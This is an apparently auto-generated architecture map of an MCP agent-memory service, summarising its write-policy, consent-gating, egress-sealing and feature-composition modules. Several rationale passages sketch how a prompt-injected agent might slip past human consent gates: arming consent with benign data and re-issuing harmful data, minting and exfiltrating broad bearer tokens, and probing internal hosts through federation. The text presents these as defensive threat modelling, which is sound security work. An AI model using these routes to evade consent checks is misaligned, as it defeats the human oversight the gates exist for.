Hooks for a FEATURE's own kernel pattern live in that feature's <dir>/hooks.ts (a feature owns its pattern's hooks, the same way it owns the pattern's schema + security). The EXPORTED ON_CREATE / ON_WRITE / IMMUTABLE here are mergeDisjoint(CORE_, compose(FEATURES)) — CORE infra hooks plus each feature's own, composed at module load. ENFORCEMENT does NOT move: applyKernelRules (this file, the one chokepoint every mutate runs through) reads the composed maps, so a feature hook fires byte-for-byte as a core one. The feature hooks.ts files import ONLY TYPES from this file, so the compose back-edge is type-only (no runtime cycle), and mergeDisjoint throws if a feature shadows a CORE pattern's hook.

imports policy.ts, view-palette.ts, index.ts, compose.ts
KernelContextinterface
patternClass()method

A pattern's class — "dataset" (structured records) or "knowledge" (default). Used by the clipboards definition hook to require a dataset-class target.

memberActive()method

An active, non-archived member with this label exists in the roster.

entryField()method

Read one column of one entry — used to resolve a row's existing values when a partial update doesn't carry them (e.g. a _views config edit that omits the target pattern). Returns null if the row/column is absent.

ImmutableRuleinterface

The shape of an IMMUTABLE / IMMUTABLE_AFTER_CREATE registry row. Exported so a feature can declare its pattern's immutable fields (in its own hooks.ts) against the same shape kernel.ts composes back in.

IMMUTABLE_AFTER_CREATEconst

=== Immutable-after-create fields — set once at create, frozen thereafter ===

Distinct from IMMUTABLE (rejected on every op): these define a token's capability and are validated by the create hook, but must never be repointed by a later update/unarchive. Freezing scope/member/constraints/token closes the defense-in-depth gap where an update could repoint an existing token (e.g. to a different member) without re-passing the create-time validation.

_inputs()method
_links()method
_shared()method
WriteHooktype

=== Write hooks — validate on create AND update (not just create) ===

For kernel tables whose payload must stay valid through edits, not only at birth. _views is the case: an agent authors a view, then refines its config — both must validate against the view palette (the SSOT in view-palette.ts), so a malformed or facet-missing spec is refused at the mutate chokepoint rather than silently degrading in the renderer.

_views()method
Shortcutinterface
expandShortcutfunction

Expand a shortcut name to pattern + operation, or return null if not a shortcut.

normalizeHostfunction

Normalize a federation host: lowercase, strip scheme and any path.

isBlockedFederationHostfunction

True if a federation target points at a loopback, private, link-local, or internal-only host. Such hosts can never be added to the allow-list and are refused at resolve time - defense against SSRF and against an agent acting on prompt-injected content probing internal infrastructure or cloud metadata.

The host is normalized through the same URL parser fetch() uses, so the check operates on the exact host the network stack will contact (handles userinfo, ports, IPv4 in any base, IPv6 brackets, case). Anything unparseable as a host fails closed (blocked). A public hostname whose DNS resolves to a private IP cannot be caught here (no DNS API on Workers); that residual is covered by the federation consent allow-list and per-hop redirect re-validation.

scopeMatchesfunction

Check if tokenScope grants access for requiredScope. Hierarchical prefix match with : boundary.

immutableFieldErrorfunction

The immutability error for editing a single named facet on an existing entry, or null if the facet is freely editable. Covers both IMMUTABLE (rejected on any op) and IMMUTABLE_AFTER_CREATE (frozen after create). Used by the patch path, which edits one facet by name and so can't rely on applyKernelRules' top-level-key scan.

labels.tsentities/Hive/labels.ts

Single source of truth for "what does this entry look like as a string."

Used by both the backend (so /api/index can include a stable label) and the React frontend. If the algorithm ever needs to evolve, change it here once.

why

One deriveLabel so the backend (/api/index) and the React frontend render an entry's label identically. The label is computed everywhere it's needed, never persisted, per data-is-destiny (store truth once, derive its consequences) — one algorithm, one place to evolve it.

LabelFacetinterface
deriveLabelfunction

Derive a human-readable label for an entry. Returns the unbounded string; callers truncate to fit their UI.

Priority: 1. First non-empty value among LABEL_KEYS (name, title, label, key, context). 2. First text-type facet's value. 3. Falls back to "#{id}" if neither is available.

truncatefunction

Truncate a string to max chars, appending an ellipsis if truncated.

mutate-gate.tsentities/Hive/mutate-gate.ts

Mutate-gate decisions — the pure, transport-agnostic predicates that decide what gate a write must clear, factored out of the MCP mutate handler so the decision can't drift from the place it's enforced.

why

The agent-facing WRITE surface exists on two transports: the MCP mutate tool (entities/Session/session.ts) and the browser-authenticated /api/mutate (shared/Routing/routes/pages.ts). The gate decisions — "is this op consent- gated and which way," "may this op ride inside a batch," "is this loosely-typed data actually an object" — were inline imperative branches in session.ts. That is the real drift vector the memory warns about ("/api+RPC tests pass while MCP breaks via the Zod/consent layer"): a future edit to the batch rule or the consent condition touches only session.ts, with no tested home to anchor it.

These functions are PURE derivations of policy.ts (the write-class SSOT) — no I/O, no round-trip mechanics. The interactive consent round-trip itself (checkAndArmConsent + re-issue) stays in session.ts because only the MCP path can satisfy it; this module decides WHETHER it fires, not how. /api stays owner-implicit (a logged-in human IS the consent) and does not consult these decisions today — it receives parsed, single-op JSON and is intentionally ungated. The win is not that both transports call this, but that the gate decisions now have ONE tested home (a pure leaf over policy.ts) instead of inline branches: an edit to the batch rule or consent condition is anchored by a unit test, so an MCP-only regression can't slip past /api-based tests. If /api ever needs the same validation, it adopts these — without a second copy existing.

imports policy.ts
normalizeMutateDatafunction

Parse a possibly-JSON-stringified value; non-strings and unparseable strings pass through unchanged (the caller's shape check then rejects bad input).

isSingleOpDatafunction

True when data is a usable single-op payload (a plain object, not an array). The shape both transports require before handing data to the engine.

mutateGatefunction

Decide which gate a single mutate op must clear, purely from policy.ts. The MCP handler drives the round-trip mechanics off this; the engine independently enforces write-class, so this is the consent layer's single decision point.

consentKeyfunction

The key used to arm/confirm a consent round-trip in _pending_consent. The request data is folded in so consent is bound to the SPECIFIC call shape, not to (pattern, operation) alone — re-issuing with different data must start a fresh round-trip rather than confirm the prior. (Without the data fold an agent could arm with benign data and re-issue with harmful data on the same pattern/op to satisfy the gate.) Data is serialized with sorted keys so semantically-identical re-issues confirm regardless of property order. Lives here because the data-binding is the correctness property of the gate; the round-trip MECHANICS stay in session.ts.

BatchOpinterface
findGatedBatchOpfunction

The first op in a batch that may NOT ride inside it, or null if all are eligible. Consent-gated escalations and patches on gated patterns must go through a single mutate (a batch would skip the round-trip / kernel hooks); archive (de-escalation) is allowed. Pure derivation of policy.ts — the batch rule has one home, not an inline .find in the handler.

policy.tsentities/Hive/policy.ts

Write-class policy — the single source of truth for "which patterns can agents write, through which path, and what gate fires."

This question was previously answered hole-by-hole: a CONSENT_GATED dict in the session layer, an INTERNAL_WRITE_PROTECTED set in the data layer, and eleven independent startsWith("_") checks scattered across kernel/data/hive/ evolution/prime. Each was a separate map of the same territory, and a missed cell was a security hole (see the set_sharing, patch-bypass, ingress/upload, and register-token findings).

Here the territory is modeled once. Every pattern has a WriteClass; every gate (consent round-trip, batch exclusion, ingress/upload eligibility, schema- evolution restriction, prime inclusion) is a pure derivation of it. A kernel pattern with no declared class fails CLOSED (System — denied) so a newly added kernel pattern can never silently default to agent-writable through every path.

This module is a leaf: it imports nothing from the enforcement layers, so they can all derive from it without cycles. The ONE import it does carry — the feature-security barrel (entities/features/security.ts) — is itself pure DATA + TYPES (each feature's */security.ts imports only import type from here), so the leaf property holds: no enforcement-layer code, no runtime cycle. (It deliberately does NOT import a feature manifest.ts; those carry code.)

why

That question was previously answered hole-by-hole across three layers plus eleven scattered startsWith("_") checks, and every missed cell was a security hole (set_sharing ungated, the patch-bypass, ingress/upload targeting kernel patterns, register-token takeover). Unclassified kernel patterns fail CLOSED (System → denied) so a new kernel pattern can never silently default to agent-writable; the module is a dependency-free leaf so every enforcement layer derives from it without cycles; write-class is computed at read time, never persisted, to avoid denormalizing the constant.

imports security.ts
ConsentPolicyinterface
KernelPolicyinterface
isKernelPatternfunction

The _ namespace is reserved for the kernel (create_pattern refuses it), so a leading underscore is the exact, single definition of "kernel pattern."

writeClassfunction

The write class of any pattern. Unclassified kernel patterns fail CLOSED (System) — a new _ table added without a policy row is denied, not opened.

isInternalWriteProtectedfunction

True for patterns the system manages itself — denied at the mutate engine.

isValidWriteTargetfunction

True only for User-class patterns: the sole valid ingress/upload write target. Every kernel pattern — gated, open, or system — is refused, because HTTP write paths bypass the MCP consent layer and must never reach the kernel surface.

consentPolicyfunction

Consent configuration for a pattern, or null if it carries none.

primeIncludedfunction

True if this kernel pattern is surfaced in prime recall (most are excluded).

isAuditExemptfunction

True if this pattern is exempt from audit triggers (append-only logs).

SensitivityKindtype

=== Egress sensitivity: the read/serialization dual of KERNEL_WRITE_POLICY ===

"Sensitive" is a property of DATA (a column), but it used to be enforced per EGRESS path (mutate response, /ws delta, audit trigger, query, export, served reads) — so a new egress kept reintroducing the leak. This is the one declarative home: which columns must never leave the DO in the clear. - secret: born-hashed. The preimage is generated in app code and returned ONCE at mint; only its digest is ever stored — so the audit trigger, the broadcast, and any read see a hash, not a usable bearer. Also stripped by seal from every serialized row (belt-and-suspenders). - redact: never serialized off the DO at all (stripped by seal); the data plane has no legitimate need for it. Broadcast, audit, export, and served reads all derive from this, so adding a new secret column protects every egress at once. Two oracles fail loud on a gap: verifyEgressTotality (the DECLARED-domain totality — every column a feature declares survives into the composed registry) and findUnclassifiedSensitiveColumns (the complementary name heuristic — a secret-NAMED column with no policy at all).

SENSITIVE_COLUMNSconst

The EFFECTIVE sensitivity registry: CORE columns + each feature's own. Every egress (seal/sealAll, the audit trigger, export) and the egress totality oracle (findUnclassifiedSensitiveColumns) read THIS composed map, so a feature's redacted/secret columns inherit every egress + the loud-fail oracle unchanged.

secretColumnfunction

The single secret (born-hashed) column for a pattern, or null.

sealfunction

Strip sensitive columns from a row about to leave the DO — the one sieve every egress routes through (broadcast, export, served read, mutate response). Shallow copy; null/undefined passes through.

sealAllfunction

seal a list of rows — the sanctioned form for any served path emitting many rows, so no caller hand-rolls .map(seal) and forgets the pattern arg.

verifyEgressTotalityfunction

EGRESS TOTALITY over the DECLARED domain — the read/serialization dual of verifyWritePolicyTotality. Where the write check walks the live KERNEL_TABLES, this walks the live FEATURE_SECURITY registry (via FEATURE_DECLARED_SENSITIVE): every sensitive column ANY feature declares MUST survive into the composed, effective SENSITIVE_COLUMNS. This catches the exact bug the old two-hand-list barrel allowed — a feature's sensitiveColumns silently dropped from the composition (so it inherited no seal/audit/export redaction) while its write policy still wired. A gap here means a declared redact/secret column would leak. Code-vs-code (FEATURE_SECURITY vs the composed SENSITIVE_COLUMNS) — no DB needed.

findUngatedCredentialMintsfunction

CREDENTIAL-MINT GATING TOTALITY — the consent dual of egress totality, derived from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration). A pattern with a secret column mints a born-hashed BEARER on every create — i.e. creating a row hands out a portable, exfiltratable credential. So its create MUST be gated: either System (never agent-writable) or Consent with a create-gating condition. The patch_only condition is PROVABLY WRONG for a credential-minter — it declares create benign while create is the dangerous op — and an Open class is worse (an injected agent mints freely). This is the exact bug that shipped _access_tokens as patch_only: an agent could mint + exfiltrate a broad/* bearer with no human round-trip. Fail-closed: a secret-minting pattern whose create isn't gated fails the build, so the misclassification is unexpressible.

patchRejectedfunction

True if patch must be rejected for this pattern (any consent-gated pattern — patch skips the kernel validation hooks and the confirmation round-trip).

consentRoundTripRequiredfunction

Whether an escalating create/update/unarchive needs the confirmation round-trip, given the data being written (for on_expose visibility checks). patch_only patterns never round-trip; patch is handled by patchRejected.

isBroadTokenScopefunction

A token scope is BROAD if minting it hands out a portable credential that grants a whole CLASS of resources (via the scopeMatches prefix rule) or full access — the kind an injected agent could mint and exfiltrate. Narrow target-bound and inert-until-approval scopes are benign (the frequent legit flows). Unknown shapes fail CLOSED (broad). Used by the on_broad_token consent condition.

prime.tsentities/Hive/prime.ts

Auto-associative priming layer

Partial cue → full constellation. Embeds entries on write via Workers AI, queries Vectorize for semantic nearest neighbors, follows links one hop.

Pure functions with env/db injected. HiveDO wires the lifecycle.

why

Which kernel patterns participate in recall is not a local hand-maintained set — primeIncluded derives from the policy.ts registry, because the former invisible KERNEL_INCLUDE set had no totality check and a renamed pattern would silently drop out of recall. Decay and the stale view derive from _entry_access_log (recall is rehearsal — a prime hit refreshes the decay clock), never from a stored counter, per data-is-destiny.

imports constants.ts, log.ts, policy.ts
binds VECTORIZE, AI
PrimeContextinterface
PrimeResultinterface
MemoryPolicyinterface
getPatternClassfunction

A pattern's class: "knowledge" (default — recalled by meaning) or "dataset" (structured records aggregated by computation, exempt from the memory machinery).

getMemoryPolicyfunction

Read a pattern's memory policy from _objects, applying opinionated defaults.

decayMultiplierfunction

Recall-weight multiplier: halves per half-life elapsed, floored so old-but-relevant survives.

buildEmbedTextfunction

Build embeddable text from an entry's text/select facets.

embedEntryfunction

Embed an entry and upsert its vector. Fire-and-forget safe. A precomputed vector (e.g. from the write-time conflict check) skips the AI call.

NeighborMatchinterface
findNeighborsfunction

Find same-pattern semantic neighbors of not-yet-written entry data. Returns matches ≥ CONFLICT_SIMILARITY plus the computed vector (reusable for the post-write upsert, avoiding a second AI call). Best-effort: any failure returns empty with no vector.

removeEntryfunction

Remove a vector when an entry is archived.

primefunction

Prime: partial cue activates a full constellation.

parseDbDatefunction

SQLite datetime('now') emits "YYYY-MM-DD HH:MM:SS" in UTC with no zone marker — parse as UTC.

followLinksfunction

Follow foreign key links one hop from an entry.

reports.tsentities/Hive/reports.ts

reports.ts — read-orchestration reporting, evicted from HiveDO.

These are pure read+format builders for agent-facing JSON/markdown: recent activity, the maintenance-status nag, the stale-review surface, the system-doc readers, and the instance/storage doc. None of them write, none are a security boundary (they run in the owner/trusted DO context and only SELECT), and none are bound to the DO lifecycle/websocket — so they decompose cleanly out of the kernel shell.

ReportsContext is deliberately narrow. Raw db is acceptable here (every read is owner-context and read-only), but the bits that DO need DO state — the host (currentHost, which reads the live Host header / WORKER_HOST off the DO instance) and patternClass/errorJson (already-bound helpers) — are injected as functions so this module never reaches back into this. The DO keeps thin RPC wrappers with identical signatures; this holds the logic.

imports constants.ts, prime.ts, kernel.ts
StoreIndexinterface
getCurrentIndexfunction

The structural index: schema + charter + facet metadata, entry counts zeroed. Pure structure — getIndex enriches it with live counts/activity. Also handed to the evolution previewer (which mutates a copy to show a proposed change).

getIndexfunction

The agent-facing master index: the structural index enriched with live entry counts + latest activity (computed per call, never stored — data is destiny), sorted by recency, plus agent-authored view/page specs.

getRecentActivityfunction

Most recently modified entries across all non-kernel patterns, summarized from each pattern's first text/select facet.

getSystemDocfunction
schema.tsentities/Hive/schema.ts

Database initialization

Table definitions, migrations, kernel pattern registration, and system doc seeding. Called once per HiveDO construction via blockConcurrencyWhile.

Kernel tables are defined declaratively: DDL + description + facets co-located. Internal tables (not exposed to agents) are plain DDL.

why

Kernel tables are declared once (DDL + description + facets co-located) so the surface is visible by scanning one array, and re-registered into _objects/_fields on every boot so an existing install's kernel docs track the code on deploy. Boot runs two loud integrity checks — verifyFieldsIntegrity (DDL vs _fields drift) and verifyWritePolicyTotality (every kernel table has a write-class) — that warn rather than throw, because a degraded boot is recoverable but a refusing one is not. Migrations are an append-only procedural pile by necessity: point-in-time history is not derivable.

imports constants.ts, tools.ts, dev-seed.ts, view-palette.ts, policy.ts, kernel-columns.ts, index.ts, compose.ts
KERNEL_TABLESconst

The EXPORTED kernel surface: CORE infra patterns + each feature's own pattern structure (DDL/facets/index), composed from the pure-data feature schema modules via the FEATURES barrel. composePatterns asserts no two features declare the same pattern name (a feature↔core name clash is caught by policy.ts's mergeDisjoint at module load). Everything downstream — the boot DDL loop, _fields seeding, verifyFieldsIntegrity, verifyWritePolicyTotality, and the security tests that iterate KERNEL_TABLES — reads THIS composed array, so a feature pattern is indistinguishable from a core one and the DDL↔_fields drift oracle stays green.

verifyWritePolicyTotalityfunction

=== Integrity check: write-class policy totality ===

Every agent-facing kernel pattern must declare a write class in policy.ts. writeClass() fails CLOSED (System — denied) for any unclassified _ pattern, so a newly added kernel table is safe by default — but silently un-writable is a bug, not a feature. This warns loudly at boot so a missing classification is caught the moment the table ships, not when a reviewer finds the next hole. Code-vs-code (KERNEL_TABLES vs KERNEL_WRITE_POLICY) — no DB needed; exported so the admission-matrix test asserts it statically too.

ensureAuditTriggersfunction

Audit exemption (high-frequency append-only logs whose change history is the data itself — auditing them would just churn the bounded _mutation_log) is a per-pattern behavior declared in the policy registry (policy.ts), alongside write class, so it's covered by the same boot-time totality check.

served.tsentities/Hive/served.ts

served.ts — the untrusted served reader. ALL served public reads live here.

This module is the single home for every public, unauthenticated, edge-cacheable read Mnemion exposes: agent-authored public pages (HTML + an OG chart card), shared entries (/o/entry), agent-defined outputs (/o), publications (/p), and the input-endpoint visibility probe (/i). Its ONLY user-pattern data access is servedQuery — the untrusted reader, which refuses kernel patterns at the engine (data.ts query()'s !ctx.trusted check). ServedContext deliberately exposes nothing else that could reach arbitrary kernel data: no db, no owner/trusted context, no way to construct one. The kernel-CONFIG rows these readers legitimately need (a _shared visibility, a _publications/_outputs/ _inputs config row, supersession ids, facet metadata) are reached only through NARROW bound lookups the DO provides — each returning ONLY that specific answer, never an arbitrary kernel row — exactly as federation.ts gets a bound isHostAllowed and never db. That is the point of the eviction: a served sink that physically cannot read a kernel pattern, and cannot reach db to try. Everything else is a PURE helper imported directly (chart SVG/spec, XSS escape, the page CSS, the publication renderer, seal/sealAll). The DO keeps thin RPC stubs that build the context and delegate; this holds the logic.

imports chart-svg.ts, chart-spec.ts, escape.ts, policy.ts, publications.ts
PublicationConfiginterface

A _publications config row plus the projection params the served read needs. Returned WHOLE only for the public publication path; it carries no secret column (publications are agent-authored projection config, never credential-bearing).

ServedContextinterface
getSharedEntryfunction

Serve a single entry marked public/unlisted in _shared. The user-pattern entry read goes through servedQuery — the kernel-refusing chokepoint — so there is NO hand-rolled isKernelPattern guard here: a kernel pattern reads back empty at the engine (data.ts query()'s !trusted check), exactly as a kernel-named page block does. servedQuery also refuses a non-existent pattern and BINDS the id (no SQL-identifier injection), so the old patternExists + Number.isInteger(id) checks survive only as a clean early not-found, never as the security gate. The sharing visibility is a kernel-config lookup the DO owns (sharingVisibility), so served.ts never touches _shared directly. seal strips any sensitive column before the entry leaves over this public route.

resolvePublicationfunction

Render a live publication projection. The source query runs through servedQuery (refuses a kernel source), rows are sealed, superseded entries drop out (via the DO's narrow supersededIds lookup), and the publication is rendered by the pubs adapter with DO-supplied facet metadata + host.

resolveOutputfunction

Serve agent-constructed content at an arbitrary path. The _outputs row IS the answer (content + mime + visibility), reached through the DO's narrow lookup — no user-pattern read involved.

getInputVisibilityfunction

Report an input endpoint's visibility (the route layer gates token access on it). Not-found when no active endpoint exists at path.

transform.tsentities/Hive/transform.ts

Transform DSL for ingress field mapping. Expressions: dot.path | transform arg | transform arg Resolvers: foo.bar, $header.X-Name, $query.param, $body, $now, "literal" Transforms: truncate N, lower, upper, default "value", json, join ", "

why

A tiny declarative DSL for ingress field mapping so an _inputs endpoint can shape arbitrary inbound payloads into pattern facets without code — the mapping is data on the endpoint, evaluated at request time. Resolvers and transforms are a closed, side-effect-free set so an agent-authored mapping can't reach beyond the request envelope.

evaluateExpressionfunction

Evaluate a single DSL expression against a context.

evaluateMappingfunction

Evaluate a field mapping (object of field→expression) against a context.

Sessionclaimed
The per-session McpAgent Durable Object that speaks the MCP protocol and proxies tool calls to the hive over RPC.
why

(SessionDO is one Durable Object per MCP session: it handles the MCP protocol — tools, resources, init instructions — and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. It also stamps the authenticated actor onto writes from its OAuth props, so attribution is enforced at the protocol edge.)

tools SSOT totality. Tool metadata feeds two consumers — the MCP .tool(/.registerTool( registrations and the /api/tools frontend — and the rejected design was "two parallel hand-lists, keep them in sync." The real failure shipped when render was registered inline without a corresponding TOOLS row: a live MCP tool invisible to /api/tools, visible to one consumer and not the other, with no warning anywhere. A tool present in one place and absent from the other is what the boundary makes unrepresentable.

works when
lives in agent-mcp fast
session.ts exists at this node fast
session.ts imports agents/mcp fast
tools.ts exists at this node fast
session.ts imports ./tools fast
boundary "tools SSOT totality" at TOOLS via test "tools SSOT totality" fast
session.tsentities/Session/session.ts

SessionDO — one McpAgent Durable Object per MCP session.

why

It handles the MCP protocol (tools, resources, init instructions) and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. The consent round-trip lives here, not in the engine, because it needs an interactive re-issue only the MCP path can satisfy — but whether a write is gated derives from policy.ts (consentPolicy/consentRoundTripRequired/patchRejected) so the boundary can't drift from the engine's. The session stamps the authenticated actor from its OAuth props onto every write so attribution is enforced at the protocol edge.

imports agents/mcp, @modelcontextprotocol/sdk/server/mcp.js, zod, hive.ts, constants.ts, mutate-gate.ts, evolution.ts, format-palette.ts, tools.ts
getHive()method
notifyScratch()method

=== Scratchpad push (HiveDO → this session → MCP client) === The hive RPCs notifyScratch when a note lands on a pad. sendResourceUpdated must run inside the agents-framework agent context (a bare DO-to-DO RPC has none), so we schedule() it — the callback runs alarm-driven, in context. idempotent coalesces a burst of posts to the SAME pad (same callback + payload) into a single nudge.

We deliberately do NOT gate on "is a client attached right now": a live streamable-HTTP session whose standalone SSE has merely idled out would be wrongly judged dead. Instead this is best-effort — if no stream is attached, emitScratch's sendResourceUpdated is a harmless no-op and the client re-reads the pad on reconnect.

init()method
tools.tsentities/Session/tools.ts

Tool metadata — single source of truth for MCP registration and frontend display.

session.ts imports these for McpServer.tool() calls. /api/tools serves them to the web frontend.

why

Tool metadata lives once here as the SSOT feeding both McpServer.tool() registration and the /api/tools frontend, so the agent-facing surface can't drift between the protocol and the UI. New capability comes from patterns and entries, not new tools — the set stays deliberately small.

imports constants.ts
ToolMetainterface
TOOLSconst
Featuresclaimed
Per-feature manifests that FEED the scattered registries from one declaration; composers derive each registry from the `FEATURES` array.
why

A "feature" is the extensibility keystone, and today its footprint is smeared across registries a forker's agent must find and edit in lockstep: post-mutate effects (entities/Hive/effects.ts), HTTP routes (src/index.ts), MCP tools (entities/Session/tools.ts), kernel patterns + DDL (entities/Hive/schema.ts), write-policy class (entities/Hive/policy.ts), system docs, and the coherence spec. The Feature type collects all of those contributions into ONE co-located, typed declaration; the composers in compose.ts DERIVE each registry from the hand-maintained FEATURES barrel (index.ts). Adding a feature is then: create one dir + add one import line to the barrel — its whole footprint legible in the manifest instead of scattered.

effects was the first registry wired end-to-end; routes is the second: PATTERN_EFFECTS in effects.ts is composeEffects(FEATURES), and the route table in src/index.ts is [...CORE_ROUTES, ...composeRoutes(FEATURES)] rather than one hand-written literal. The documents feature owns its /f/ upload + serve edges and the pages feature owns its /page/ serve + OG edges, declared in their manifests (handlers still imported from the I/O adapter layer, shared/Routing/routes/io.ts — the manifest declares the routing rows, not the handler bodies). So a new side-effecting pattern, or a new HTTP edge for these features, is a feature manifest — not another entry in a central map.

Route ORDER is load-bearing and preserved: the router matches in declaration order (first match wins), and feature routes are appended AFTER CORE_ROUTES, so a feature route can never shadow a core route. The moved patterns (/f/..., /page/...) share no prefix with any retained core route (/o/, /p/, /marketplace*, etc.), so the move changes no match outcome — confirmed by the route/document/page tests staying green. Each route's backendPrefix travels with its declaration into BACKEND_PREFIXES, so a moved route's SPA-fallback exclusion is derived from the manifest, not re-hardcoded in src/index.ts.

Patterns + migrations are the third and fourth registries wired end-to-end: each feature owns its PATTERN STRUCTURE — the kernel-pattern DDL/facets/index and any feature-specific schema migration — as PURE DATA in its dir (<name>/schema.ts, type-only imports, no manifest code), and schema.ts builds KERNEL_TABLES = [...CORE_KERNEL_TABLES, ...composePatterns(FEATURES)] while its boot migration pile gains a tail loop over composeMigrations(FEATURES). The documents feature owns the _documents table + its v12 extraction-columns migration; the pages feature owns the _pages table + path index. The move is byte-identical: every consumer of KERNEL_TABLES (the boot DDL loop, _fields seeding, the audit triggers, and crucially verifyFieldsIntegrity — the DDL↔_fields drift oracle — plus verifyWritePolicyTotality) reads the COMPOSED array, so a feature pattern is indistinguishable from a core one and an existing hive sees no schema diff at boot. The feature schema.ts files stay PURE DATA so they share the leaf discipline of the */security.ts siblings (the structure half of "a feature owns its schema," beside the security half).

The kernel PRE-MUTATION HOOKS are the fifth registry, completing "a feature owns its kernel pattern": the _documents create validation (title required) + its system-managed immutable bookkeeping columns live in documents/hooks.ts, and the _pages write-time hook (URL-safe path + block-palette validation + the kernel-pattern exfil guard) lives in pages/hooks.ts. A feature declares these in its manifest's hooks slot; kernel.ts renames its hand-written literals to CORE_ON_CREATE/CORE_ON_WRITE/CORE_IMMUTABLE and derives the EXPORTED ON_CREATE/ON_WRITE/IMMUTABLE as mergeDisjoint(CORE_, compose(FEATURES)). ENFORCEMENT does NOT move — applyKernelRules (the one chokepoint every mutate runs through) reads the EXPORTED composed maps, so the validation fires byte-for-byte as before (confirmed by the document title/immutability + page block-exfil tests staying green); only the DECLARATION moves into the feature dir, exactly as effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint. The hook bodies are code, so <dir>/hooks.ts imports ONLY TYPES from kernel.ts (the hook signature types + ImmutableRule shape) — type imports are erased at runtime, so the kernel.ts → FEATURES → manifest → hooks back-edge is type-only and adds NO runtime cycle (dpdm -T, which strips type-only edges, shows the same single pre-existing runtime cycle before and after). mergeDisjoint mirrors policy.ts: a feature hook for a CORE pattern throws at module load, so a feature can never silently override a core invariant.

Composition for effects/tools/writePolicy/routes runs at MODULE LOAD (static tables); patterns/migrations/systemDocs compose at BOOT (they touch the DB). The composers fail LOUDLY on collision (two features over one pattern's effect, a duplicate migration version, a route/tool/pattern name clash) rather than silently last-write-wins — a malformed manifest can't quietly shadow another feature; a feature↔core pattern-name clash is caught by policy.ts's mergeDisjoint at module load. The fail-CLOSED write-policy default is preserved: a feature pattern declared without a write-policy entry still resolves to System/denied, never silently agent-writable. System docs stay a single source (http-io.md spans egress/publications/documents/ingress, so it isn't split per-feature); the remaining registries (tools, systemDocs) keep ONE source of truth each until they adopt their composer (documented landing spots in compose.ts), so this migration adds the seam without duplicating definitions.

clipboards is the feature that EXTENDS THE CORE CHOKEPOINT. Unlike documents/ pages (which add only effects/routes/their own pattern + hooks), a clipboard is a validated job-dispatch form: a _clipboards row binds a reusable, deterministically- validated form to a target dataset pattern, and every create/update on that pattern becomes a SUBMISSION — validated collect-all (regex/range/length/cross-field/composite uniqueness) and scored against a composable numeric completion contract. The feature DIR owns only the declaration (the _clipboards pattern/schema, the fail-closed DEFINITION hook in hooks.ts that rejects an unknown constraint/metric/op, and the Consent write class — binding a contract to an existing shared dataset is an injection-reachable write-availability lever, so creation takes a human round-trip like _members/_shared). The ENFORCEMENT is core: two generic LEAF engines (entities/Hive/{constraints,completion}.tsCONSTRAINT_RULES/COMPARISON_OPS and COMPLETION_METRICS) configured by the _clipboards DATA, invoked at the ONE mutate chokepoint (executeMutate) via the clipboardFor seam on DataContext. So the chokepoint covers every write path — MCP mutate AND public ingress — and a fanout of agents all filling one clipboard is race-free (a single DO serializes the SELECT-then-INSERT, so composite-uniqueness dedupe holds and each submission's derived progress is a consistent snapshot). The fail-closed knot is a double-entry TOTALITY oracle: the constraint/metric/op keys the definition hook ACCEPTS must equal the keys the engines ENFORCE — a rule that could be stored but silently isn't checked (fail-OPEN) fails the suite. Progress is DERIVED from the submission log every read (data-is-destiny: count/sources_covered/days_since_last are SQL aggregates, never stored counters). patternClass joined KernelContext so the definition hook can require a dataset-class target (guaranteeing the chokepoint's type coercion runs before numeric comparison).

scratchpad is the pub/sub coordination feature: a _scratchpad row is a NOTE posted to a named shared PAD, so agents in neighboring sessions on one hive can coordinate a fanout (claim/done/found) without polling. The DATA half is doctrine-standard — an Open, auditExempt, append-only kernel pattern (coordination chatter, not durable memory, so NOT primeInclude and GC'd at 30 days in the boot sweep, mirroring _entry_access_log) with an onCreate hook validating the pad slug + kind. Reads are free: the mnemion://scratchpad/{pad} resource is an ordinary query (newest-first by pad), and agents can poll query _scratchpad pad=X id>cursor to catch up. The PUSH half (Phase 2) extends CORE — there is no HiveDO→SessionDO channel today, so a post fans out via an effect that RPCs each live session's notifyScratch, which must emit sendResourceUpdated from WITHIN the agents-framework agent context (a bare DO-to-DO RPC has none — confirmed by spike). schedule() is the supported in-context entrypoint, so the emit is a near-immediate scheduled task. The session registry + the per-pad resources/subscribe handlers are the new SessionDO↔HiveDO seam this feature owns.

works when
lives in storage fast
feature.ts exists at this node fast
compose.ts exists at this node fast
index.ts exists at this node fast
compose.ts imports ./feature fast
index.ts imports ./feature fast
index.ts imports ./documents/manifest fast
index.ts imports ./pages/manifest fast
index.ts imports ./system-tasks/manifest fast
documents/manifest.ts imports ../../../shared/Routing/routes/io fast
pages/manifest.ts imports ../../../shared/Routing/routes/io fast
documents/schema.ts exists at this node fast
pages/schema.ts exists at this node fast
documents/manifest.ts imports ./schema fast
pages/manifest.ts imports ./schema fast
documents/hooks.ts exists at this node fast
pages/hooks.ts exists at this node fast
documents/manifest.ts imports ./hooks fast
pages/manifest.ts imports ./hooks fast
passes test "pattern-effects totality" fast
passes test "returns 503 from POST /f and 404 from GET /f when R2 is absent" fast
passes test "requires a title" fast
passes test "refuses agent-supplied blob bookkeeping" fast
passes test "refuses a page block that sources a kernel pattern" fast
clipboards/manifest.ts exists at this node fast
clipboards/schema.ts exists at this node fast
clipboards/hooks.ts exists at this node fast
clipboards/security.ts exists at this node fast
index.ts imports ./clipboards/manifest fast
clipboards/manifest.ts imports ./schema fast
clipboards/manifest.ts imports ./hooks fast
passes test "clipboard constraint and metric keysets are total" fast
passes test "a clipboard submission collects every field violation" fast
passes test "patch on a clipboard-bound pattern is rejected" fast
passes test "clipboard completion progress is derived from the submission log" fast
scratchpad/manifest.ts exists at this node fast
scratchpad/schema.ts exists at this node fast
scratchpad/hooks.ts exists at this node fast
scratchpad/security.ts exists at this node fast
index.ts imports ./scratchpad/manifest fast
scratchpad/manifest.ts imports ./schema fast
scratchpad/manifest.ts imports ./hooks fast
passes test "a scratchpad note requires a pad slug and a kind" fast
passes test "scratchpad notes are scoped and read newest-first by pad" fast
compose.tsentities/features/compose.ts

